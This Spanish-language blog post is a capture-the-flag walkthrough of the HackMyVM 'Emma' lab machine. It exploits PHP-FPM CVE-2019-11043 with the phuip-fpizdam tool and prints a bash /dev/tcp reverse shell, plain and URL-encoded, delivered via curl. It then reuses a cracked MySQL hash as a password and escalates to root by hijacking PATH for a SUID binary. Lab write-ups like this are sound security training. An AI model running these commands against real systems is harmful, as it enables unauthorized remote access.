HackMyVM Emma — Linux

Gm4tsyGm4tsy
4 min read

Para poder hacer uso de esta máquina primero debemos descargar el archivo y así poder desplegar el laboratorio.

Descargamos el archivo de la página https://hackmyvm.eu/machines/

Al momento de descargar esta máquina y descomprimir el archivo, en este caso observamos un archivo.

Para desplegar el laboratorio usaremos nuestro hipervisor favorito e iniciamos la máquina. En caso de no observar la IP de la máquina podemos emplear arp-scan para ver la dirección IP en nuestra red que sería la 192.168.0.150.

Realizamos un ping a la dirección IP y podemos validar que tenemos alcance.

Empezamos con un escaneo de puertos y podemos ver que solo tenemos los puertos 22 y 80.

Empezamos realizando un escaneo más profundo de los puertos identificados, pero no vemos más información.

Vamos al navegador e ingresamos la dirección IP y no vemos ningún contenido.

Realizando un escaneo de subdirectorios podemos observar que identifica 2 adicionales.

Al ingresar a robots.txt tenemos una cadena de texto interesante.

itwasonlyakiss

En phpinfo tenemos la página que sugiere el nombre.

Como podemos ver nos muestra la versión, buscando sobre esta versión encontramos una página donde nos dan una muestra de como explotarlo, ya que cumple con todos los requisitos que podemos observar en la página, CVE-2019-11043. Probando alguna de las consultas manuales adecuadas para este CVE no obtenemos un resultado.

Puesto que no tenemos un resultado emplearemos la herramienta phuip-fpizdam que clonaremos y ejecutaremos.

git clone https://github.com/neex/phuip-fpizdam.git
cd phuip-fpizdam
go build

Para revisar si surtió efecto, debemos considerar los parámetros que nos indican, como sería el siguiente ejemplo.

Probamos otro comando y podemos observar que podemos ejecutar comandos.

Ya que podemos ejecutar comandos, iniciaremos nuestro listener.

Preparamos nuestro comando para establecer conexión.

bash -c 'bash -i >& /dev/tcp/192.168.0.109/1234 0>&1'
bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.0.109%2F1234%200%3E%261%22

luego de ello reemplazamos en el comando en la consulta y lo enviamos.

curl http://192.168.0.150/index.php?a=/bin/sh+-c+%27bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.0.109%2F1234%200%3E%261%22%27  --path-as-is

Probamos enviando varias veces hasta que se quede cargando.

Regresando a nuestro listener podemos observar que obtuvimos conexión.

Para facilitar las cosas en este punto migraremos la shell porque en este caso nos ocurre que no podemos hacer uso de las flechas o subir y bajar al comando anterior. Para ello primero hacemos

script /dev/null -c bash

luego un ctrl+z, regresaremos a nuestra consola seguido de ello ingresaremos los siguientes comandos para recuperar la shell usamos stty

stty raw -echo; fg
                reset xterm

para obtener más características usamos

export TERM=xterm

para la variable de entorno

echo $SHELL

y para pasar a bash usamos

export SHELL=/bin/bash

para establecer el tamaño adecuado de la consola ingresamos

stty rows 59 cols 236

de esta manera ya nos podemos mover con más libertad en la consola. Una vez dentro y migrado la shell, vemos que dentro de la carpeta tmp tenemos dos archivos interesantes, pero si vemos la fecha es actual.

Si abrimos ese archivo a vemos que es el archivo que se generó para establecer conexión.

Revisando permisos SUID vemos que tenemos el binario who, pero no podemos ejecutarlo.

Al dirigirnos a la carpeta de emma observamos que no tenemos los permisos.

Revisando que servicios tenemos podemos ver que tenemos un mysql en el puerto 3306.

Comprobando si es correcto probamos y si podemos ejecutar el comando, ahora necesitamos un password, pero recordemos que en robots.txt encontramos una palabra y empleándola ahora podemos acceder a la base de datos.

Listando los datos de la base de datos, observamos las credenciales de emma.

Buscando si alguna base de datos tiene el resultado, vemos que en Crackstation tenemos el resultado.

5f4dcc3b5aa765d61d8327deb882cf80

Probamos el password como password, pero nos falla, luego de pensar un rato, probamos el hash como password y este si es correcto.

Ya que estamos como emma ejecutamos el binario y vemos que nos muestra el usuario permisos de root, pero listando el directorio vemos que no podemos eliminarlo y reemplazarlo porque perderíamos permisos.

Como no podemos modificar el archivo who, debemos revisar el archivo who.c para ver que ejecuta y como aprovecharnos de esto.

Vemos que ejecuta el binario id para ello usaremos gzexe para comprimir el archivo. Luego creamos un gzip ejecutable para poder escalar privilegios, por ello reemplazaremos con un PATH falso y aprovecharnos del archivo cuando se ejecute.

Ejecutamos el binario y podemos ver que ahora tenemos permisos root. Terminando esta máquina.

0
Subscribe to my newsletter

Read articles from Gm4tsy directly inside your inbox. Subscribe to the newsletter, and don't miss out.

Written by

Gm4tsy
Gm4tsy